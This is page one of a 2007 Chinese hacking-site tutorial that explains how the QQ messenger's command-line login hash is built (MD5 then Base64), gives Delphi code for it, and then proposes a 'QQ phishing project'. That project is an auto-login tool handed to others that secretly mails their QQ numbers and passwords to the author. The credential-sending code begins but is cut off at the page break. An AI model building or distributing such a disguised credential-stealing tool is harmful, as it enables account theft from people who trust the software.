| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文 用户登录 新用户注册
  [组图]探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程        【字体:
探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程
作者:佚名    文章来源:网络    点击数:    更新时间:2007-6-11    
文章作者:zshoucheng
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

转载请保持文章完整性

1.QQ登陆加密算法

QQ命令行启动方式:
Quote:

QQ.exe /START QQUIN:QQ号码 PWDHASH:加密后的QQ密码 /STAT:登陆状态(40隐身,41正常)

其中PWDhash 原本是为实现 QQ 与 TM无缝切换而用的将密码加密传递的参数。使得用户能在 QQ 与 TM 之间快速切换而不用再次输入密码。

PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。

下面以Delphi代码讲解,附件中有Delphi的实现单元和相应的C#类,目的是让大家能够选择自己喜欢的编程语言实现

获取QQ命令行启动参数函数:(参数:QQ号码、QQ密码、登陆状态) Code Language : Delphi
  1. function GetCommandLine(QQNum, QQPw: string; QQState: integer): string;
  2. type
  3.    TempChar = array[0..15] of char;
  4. var
  5.    md5: TIdHashMessageDigest5;
  6. begin
  7.    md5 := TIdHashMessageDigest5.Create;
  8.    result := ' /START QQUIN:' + QQNum + ' PWDHASH:' + Base64(TempChar(md5.HashValue(QQPw))) + ' /STAT:' + IntToStr(QQState);
  9.    md5.Free;
  10. end;
Parsed in 0.015 seconds上面函数用到的Base64函数为: Code Language : Delphi
  1. function Base64(Src: string): string;
  2. const
  3.    DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
  4. var
  5.    i, ModLen: integer;
  6.    Current: string;
  7.    Buf: array[1..3] of Byte;
  8.    NewBuf: array[1..4] of Byte;
  9. begin
  10.    result := '';
  11.    if Src = '' then
  12.       exit;
  13.    ModLen := Length(Src) mod 3;
  14.    while Length(Src) > 0 do
  15.    begin
  16.       FillChar(Buf, 3, #0);
  17.       Current := Copy(Src, 1, 3);
  18.       Src := Copy(Src, 4, Length(Src) - 3);
  19.       for i := 1 to 3 do
  20.          Buf[i] := Ord(Current[i]);
  21.       NewBuf[1] := Buf[1] shr 2;
  22.       NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
  23.       NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
  24.       NewBuf[4] := Buf[3] and $3F;
  25.       for i := 1 to 4 do
  26.          result := result + DataSet[NewBuf[i] + 1];
  27.    end;
  28.    if ModLen >= 1 then
  29.       result[Length(result)] := '=';
  30.    if ModLen = 1 then
  31.       result[Length(result) - 1] := '=';
  32. end;
Parsed in 0.037 seconds

这样就可以实现从命令行直接登陆QQ了。

另外我们还要获取QQ的安装路径:
在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\PLATFORM_TYPE_LIST 下面有几个子键,1中的 TypePath 的键值为 QQ 的安装路径,2中的 TypePath 的键值为 TM 的安装路径。我们就可以通过读取注册表来获取QQ的安装路径了(其实现比较简单,请参见源码)。

2.简单打造QQ钓鱼工程

有了上面的QQ自动登陆的实现,我们就可以写出一个QQ自动登陆器了。这就和我要说的QQ钓鱼工程联系上了,聪明的你一定也想出来了。


编写一款优秀的QQ木马去截获QQ密码框中的密码对我等小菜来说难以实现,但我们却可以变相地去获取QQ密码:
当别人使用我们的QQ自动登陆器登陆QQ时,我们可以把他所输入的QQ以及密码发送到我们的邮箱或指定网页上,这里给出ASP发信的代码:

Code Language : Delphi
  1. function HtmlEncode(s: string): string;
  2. var
  3.    i, v1, v2: integer;
  4.    function i2s(b: byte): char;
  5.    begin
  6.       if b <= 9 then result := chr($30 + b)
  7. [1] [2] [3] [4] 下一页

文章录入:IceRiver    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    十大入侵检测系统高风险事件
    认识黑客入侵的利器 了解嗅探
    另类巧妙的思路:旁门左道的入
    会话劫持攻击实战详解
    利用最近热门的Xss漏洞能做什
    数据库安全应用 使用MySQL的
    防火墙技术详细说明及技术发
    轻松9步加强路由器安全防护能
    黑客技术分析 会话劫持攻击实
    系统泄露密码的入侵攻击分析
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.